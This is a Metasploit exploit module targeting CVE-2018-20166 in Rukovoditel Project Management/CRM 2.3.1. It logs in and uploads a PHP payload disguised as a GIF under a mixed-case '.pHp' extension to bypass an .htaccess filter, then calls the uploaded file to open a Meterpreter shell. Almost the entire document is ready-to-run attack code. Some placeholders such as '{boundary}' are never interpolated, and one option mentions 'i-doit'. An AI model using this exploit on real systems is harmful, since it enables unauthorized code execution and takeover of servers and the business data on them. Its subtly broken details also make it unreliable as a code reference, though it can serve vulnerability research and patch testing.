Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

    def initialize
    super(
      'Name'           => 'Rukovoditel Project Management/CRM 2.3.1 -
(Authenticated) Remote Code Execution',
      'Description'    => %q{
        This module exploits a file upload vulnerability in Rukovoditel
PM/CRM version 2.3.1.
        Application allows the user to upload a background image, and does
not perform extension checking exactly.
        Application agrees to upload if "gif" file header is added to the
header of our payload file.
        However, many file types do not have permission to work.
".htaccess" is blocking that.
        it has file extension check as follows,
        <FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
        There is no upper and lower case control. Therefore, the extension
of our file can be .pHp .Php .PhP and such.
        The module is uploading by create a payload as above to get
Meterpreter session.
      },
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf
Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', '
https://pentest.com.tr/exploits/Rukovoditel-Project-Management-CRM-2-3-1-Authenticated-Remote-Code-Execution.html'],

          ['CVE', '2018-20166'],
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Rukovoditel PM/CRM <= 2.3.1', {}]
        ],
      'DisclosureDate' => '14 Dec 2018',
      'Privileged'     => false,
      'DefaultTarget' => 0
    )

    register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to i-doit',
'/']),
          OptString.new('USER', [true, 'User to login with', 'admin']),
          OptString.new('PASS', [true, 'Password to login with',
'password']),
        ], self.class)
    end
##
# Exploitation of Vulnerability
##
  def exploit

    random_value = Rex::Text.rand_text_alpha(10)
    sid_md5 = Digest::MD5.hexdigest random_value
    print_status("sid = #{sid_md5}")

    cookie = "cookie_test=please_accept_for_session;" + " sid=" + sid_md5

    res1 = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri,
"/index.php?module=users/login"),
      'cookie'   => cookie,
    })
        if not (res1 and res1.body =~ /form_session_token\"
value=\"([^\"]+)\"/)
            return nil
        end
    token = $1
##
# Authorized User Login
##

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri,
"/index.php?module=users/login&action=login"),
      'cookie'   => cookie,
      'vars_post' => {
          "form_session_token" => token,
          "username" => datastore['USER'],
          "password" => datastore['PASS']

      }
    })
##
# Login Control
##

    tok = send_request_cgi({
      'method'   => 'GET',
      'cookie'   => cookie,
      'uri'      => normalize_uri(target_uri,
"/index.php?module=dashboard/"),
    })

    html = tok.body
    if html =~ /Rukovoditel/
      print_good("Login Successful")
    else
      print_status("User information is incorrect. Login failed")
      exit 0
    end
##
# Arbitrary ".pHp" file upload
##

    boundary = Rex::Text.rand_text_alphanumeric(29)

    data = "-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"form_session_token\"\r\n"
    data << "\r\n"
    data << "{token}"
    data << "\r\n-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"CFG[LOGIN_PAGE_HEADING]\"\r\n"
    data <<
"\r\nPage-Heading\r\n-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"CFG[LOGIN_PAGE_CONTENT]\"\r\n"
    data << "\r\nPage-Desc\r\n-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"APP_LOGIN_PAGE_BACKGROUND\"; filename=\"akkus.pHp\"\r\n"
    data << "Content-Type: binary/octet-stream\r\n"
    data << "\r\n"
    data << "GIF89a;\n<html>\n"
    data << "\n</html>\n"
    data << payload.encoded
    data << "\r\n-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"CFG[APP_LOGIN_PAGE_BACKGROUND]\"\r\n"
    data << "\r\n{upload_name}\r\n"
    data << "-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"CFG[LOGIN_PAGE_HIDE_REMEMBER_ME]\"\r\n"
    data << "\r\n0\r\n-----------------------------{boundary}--\r\n"

    res2 = send_request_cgi({
      'method' => 'POST',
      'data'  => data,
      'headers' =>
      {
        'Content-Type'   => 'multipart/form-data;
boundary=---------------------------{boundary}',
        'cookie'   => cookie,
      },
      'uri' => normalize_uri(target_uri,
"/index.php?module=configuration/save&redirect_to=configuration/login_page")

    })


##
# Informations
##
    print_status("#{peer} - Uploading in progress...")
    print_good("Upload Successful")
##
# Calling Shell File Name
##
    shellc = send_request_cgi({
      'method'   => 'GET',
      'cookie'   => cookie,
      'uri'      => normalize_uri(target_uri,
"/index.php?module=configuration/login_page"),
    })

        if not (shellc and shellc.body =~ /CFG_APP_LOGIN_PAGE_BACKGROUND\"
value=\"([^\"]+)\"/)
            return nil
        end
    shelln = $1
    print_good("#{peer} - Payload uploaded as #{shelln}")
    register_file_for_cleanup(shelln)
##
# Get Session
##
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri, "/uploads/", shelln),
    })

  end
end